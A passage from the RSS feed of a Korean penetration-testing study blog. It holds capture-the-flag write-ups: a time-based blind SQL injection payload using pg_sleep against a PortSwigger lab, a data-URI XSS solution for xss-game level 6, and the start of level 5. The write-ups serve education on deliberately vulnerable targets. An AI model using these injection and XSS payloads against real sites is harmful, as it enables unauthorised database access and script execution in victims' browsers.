&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[페이로드(입력 값)]&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 21px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 21px;&quot;&gt;&lt;b&gt;페이로드:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;TrackingId=&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;O0USgNjnXDZcKeUZ' || pg_sleep(10) and '1'='1&lt;/b&gt;&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[설명]&lt;/b&gt;&lt;br /&gt;O0USgNjnXDZcKeUZ' 에서 싱글 쿼터는 사용자가 입력한 값이며 사용자가 직접 문자열을 감싼 상태이므로 실제로는 &lt;span style=&quot;color: #ee2323;&quot;&gt;O0USgNjnXDZcKeUZ&lt;b&gt;'&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;'&lt;/span&gt; &lt;/b&gt;&lt;/span&gt;즉 기존에 있던 싱글 쿼터 하나가 남게 됩니다. 앞선 과정에서는 주석을 이용하여 마지막 싱글 쿼터를 인식하지 못하게 하여 문법 에러가 발생하지 않도록 했지만 만약 주석을 사용하지 못하는 상황이라면 and '1'='1 과같이 조건이 항상 참이 되도록 하여 주석 처리를 하지 않고도 마지막에 남은 싱글 쿼터를 처리할 수 있습니다.&lt;br /&gt;&lt;br /&gt;ex)&lt;br /&gt;select ___ from ___ where ___='&lt;span style=&quot;color: #ee2323;&quot;&gt;O0USgNjnXDZcKeUZ' || pg_sleep(10) and '1'='1&lt;/span&gt;'&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/PortSwigger Web Security Academy</category>
      <category>Blind SQL injection with time delays</category>
      <category>portswigger</category>
      <category>portswigger web security academy</category>
      <category>SQL INJECTION</category>
      <category>Time-Based SQL Injection</category>
      <category>Time-based SQLi</category>
      <category>모의해킹</category>
      <category>모의해킹 공부</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/27</guid>
      <comments>https://code000.tistory.com/entry/Lab-Blind-SQL-injection-with-time-delays#entry27comment</comments>
      <pubDate>Tue, 24 Mar 2026 02:02:33 +0900</pubDate>
    </item>
    <item>
      <title>xss game(CTF) - 문제 풀이 (6/6)</title>
      <link>https://code000.tistory.com/entry/xss-gameCTF-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-66</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;/span&gt;https://xss-game.appspot.com/level6&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;목표 &amp;amp; 사용 도구&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;alert 함수를 통해 경고창을 화면에 띄우는 것을 목표로 합니다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;개발자 도구&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이 - https://xss-game.appspot.com/level6&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제 페이지에 접속합니다. Fragment 식별자(&amp;nbsp;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;&lt;b&gt; #&lt;/b&gt;&amp;nbsp;&lt;/span&gt; )(identifier) 기호 뒤에 오는 문자열이 화면에 출력되는 것을 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;485&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dIlyx8/dJMcabXoW6V/cKXYnOAotkGfdGTAp6twr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dIlyx8/dJMcabXoW6V/cKXYnOAotkGfdGTAp6twr1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dIlyx8/dJMcabXoW6V/cKXYnOAotkGfdGTAp6twr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdIlyx8%2FdJMcabXoW6V%2FcKXYnOAotkGfdGTAp6twr1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;411&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;485&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;Fragment 식별자 &lt;/span&gt;기호 뒤에 임의의 문자열을 입력해 보면 사용자의 입력 값이 화면에 반영되고 있음을 알 수 있습니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;482&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/llguF/dJMcadt6k8d/9SjcvevVSKo0JpcZAIcSz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/llguF/dJMcadt6k8d/9SjcvevVSKo0JpcZAIcSz1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/llguF/dJMcadt6k8d/9SjcvevVSKo0JpcZAIcSz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FllguF%2FdJMcadt6k8d%2F9SjcvevVSKo0JpcZAIcSz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;408&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;482&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;개발자 도구의 Elements 탭에서 코드를 확인해 보면 사용자가 입력했던 값들이 head 태그 안 script 태그의 src 속성 값으로 들어가고 있는 것을 알아낼 수 있습니다. 또한 입력했던 script 태그가 남아 있는 것으로 보아 사용자가 Fragment 식별자 뒤에 문자열을 입력하면 그것을 통해 script 태그를 삽입하고 있는 것도 알아낼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;496&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xaazQ/dJMcajuk7Ho/xzHZBRnzG6g4uUY9tGOfYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xaazQ/dJMcajuk7Ho/xzHZBRnzG6g4uUY9tGOfYK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xaazQ/dJMcajuk7Ho/xzHZBRnzG6g4uUY9tGOfYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxaazQ%2FdJMcajuk7Ho%2FxzHZBRnzG6g4uUY9tGOfYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;420&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;496&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;Fragment 식별자 &lt;/span&gt;기호 뒤에 &lt;/span&gt;특수문자 4개 &lt;/span&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;lt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;'&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #dddddd; color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&amp;gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;를 삽입하여 결과를 확인해 보면 특수문자가 인코딩 되고 있으며 추가로 더블 쿼터를 이용하여 태그를 벗어나 스크립트를 삽입하는 행위는 할 수 없다는 것도 알 수 있습니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;473&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ILukN/dJMcafyLhTb/kwKYXBdKRhMbmXWdfShsV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ILukN/dJMcafyLhTb/kwKYXBdKRhMbmXWdfShsV1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ILukN/dJMcafyLhTb/kwKYXBdKRhMbmXWdfShsV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FILukN%2FdJMcafyLhTb%2FkwKYXBdKRhMbmXWdfShsV1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;401&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;473&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;해당 문제는 Data URI 스킴(scheme)을 이용하여 xss 공격을 시도할 수 있습니다. 아래 페이로드를 삽입합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[페이로드(입력 값)]&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 172px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 172px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 172px;&quot;&gt;&lt;b&gt;페이로드 : data:text/javascript,alert('xss')&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Data URI 스킴은 파일을 별도로 다운로드하지 않고 URL 자체에 데이터를 직접 포함 시키는 방식을 말합니다. 구조는 다음과 같습니다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;*** 구조&lt;/b&gt;&lt;br /&gt;data:[MIME 타입][;base64],&amp;lt;data&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;*** 페이로드 분석&lt;/b&gt;&lt;br /&gt;data: -&amp;gt; Data URI 스킴&lt;br /&gt;text/javascript -&amp;gt; 데이터를 javascript로 처리합니다.&lt;br /&gt;alert('xss') -&amp;gt; &amp;lt;data&amp;gt; 부분으로 실제 데이터를 의미합니다. 페이로드에서는 alert 함수를 의미합니다.&amp;nbsp;&lt;br /&gt;&lt;br /&gt;해당 CTF에서는 사용자가&amp;nbsp; script 태그가 head 태그에 삽입되며 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;Fragment 식별자 뒤에 온 문자열들이 삽입된 script의 src 속성 값으로 들어가는 것을 알 수 있었습니다. 따라서 해당 페이로드를 삽입하면 Data URI 스킴을 통해 javascript를 실행시키며 xss 공격을 시도할 수 있습니다.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;488&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhjJp0/dJMcac23vCk/TOE3X7KVJD996YR677G6Ok/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhjJp0/dJMcac23vCk/TOE3X7KVJD996YR677G6Ok/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhjJp0/dJMcac23vCk/TOE3X7KVJD996YR677G6Ok/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbhjJp0%2FdJMcac23vCk%2FTOE3X7KVJD996YR677G6Ok%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;414&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;488&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;페이로드를 삽입한 뒤 결과를 확인해 보면 스크립트가 실행되며 XSS 공격에 성공하게 됩니다.(문제 클리어)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;430&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b9Ew2u/dJMcaaYuz8m/16vUKUsMecAecKsnJoDbKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b9Ew2u/dJMcaaYuz8m/16vUKUsMecAecKsnJoDbKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b9Ew2u/dJMcaaYuz8m/16vUKUsMecAecKsnJoDbKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb9Ew2u%2FdJMcaaYuz8m%2F16vUKUsMecAecKsnJoDbKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;364&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;430&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/xss-game(CTF)</category>
      <category>CTF</category>
      <category>level6</category>
      <category>Reflected XSS</category>
      <category>RXSS</category>
      <category>XSS</category>
      <category>XSS Game</category>
      <category>xss game appspot</category>
      <category>모의해킹</category>
      <category>모의해킹 공부 정리</category>
      <category>크사</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/23</guid>
      <comments>https://code000.tistory.com/entry/xss-gameCTF-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-66#entry23comment</comments>
      <pubDate>Tue, 10 Feb 2026 03:52:04 +0900</pubDate>
    </item>
    <item>
      <title>xss game(CTF) - 문제 풀이 (5/6)</title>
      <link>https://code000.tistory.com/entry/xss-gameCTF-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-56</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;/span&gt;https://xss-game.appspot.com/level5&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;목표&amp;nbsp; &amp;amp; 사용 도구&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;alert 함수를 통해 경고창을 화면에 띄우는 것을 목표로 합니다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;개발자 도구&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이 - https://xss-game.appspot.com/level5&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제 페이지에 접속한 뒤 Sign up 버튼을 클릭합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;485&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zxSts/dJMcagYHDvA/fDYEf2G4eKZKi1vjZrjiMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zxSts/dJMcagYHDvA/fDYEf2G4eKZKi1vjZrjiMk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zxSts/dJMcagYHDvA/fDYEf2G4eKZKi1vjZrjiMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzxSts%2FdJMcagYHDvA%2FfDYEf2G4eKZKi1vjZrjiMk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;411&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;485&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Sign up 버튼을 클릭하면 next 파라미터 값으로 confirm이 들어가고 있는 것을 볼 수 있습니다. Next를 클릭합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;484&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cS3iHk/dJMcajukDwW/KIDeilL0ABQU9mF5H36EG1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cS3iHk/dJMcajukDwW/KIDeilL0ABQU9mF5H36EG1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cS3iHk/dJMcajukDwW/KIDeilL0ABQU9mF5H36EG1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcS3iHk%2FdJMcajukDwW%2FKIDeilL0ABQU9mF5H36EG1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;410&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;484&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Next 버튼을 클릭하게 되면 next 파라미터의 값이 경로로 들어가고 있는 것을 확인해 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;484&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HVe4t/dJMb99SOttH/t2mgDmKRZz67vPB1tLCTV0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HVe4t/dJMb99SOttH/t2mgDmKRZz67vPB1tLCTV0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HVe4t/dJMb99SOttH/t2mgDmKRZz67vPB1tLCTV0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHVe4t%2FdJMb99SOttH%2Ft2mgDmKRZz67vPB1tLCTV0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;410&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;484&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;다시 next 파라미터가 있던 URL 주소로 돌아와서 개발자 도구로 Next 링크를 확인해 보면 a 태그의 href 속성 값이 next 파라미터의 값이라는 것을 알 수 있습니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;514&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdITxi/dJMcaaEcUf4/CbA0T7KW6Ow3CbOrdR35kk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdITxi/dJMcaaEcUf4/CbA0T7KW6Ow3CbOrdR35kk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdITxi/dJMcaaEcUf4/CbA0T7KW6Ow3CbOrdR35kk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdITxi%2FdJMcaaEcUf4%2FCbA0T7KW6Ow3CbOrdR35kk%2Fimg.png&quot; onerror=&quot;this.onerror=null; 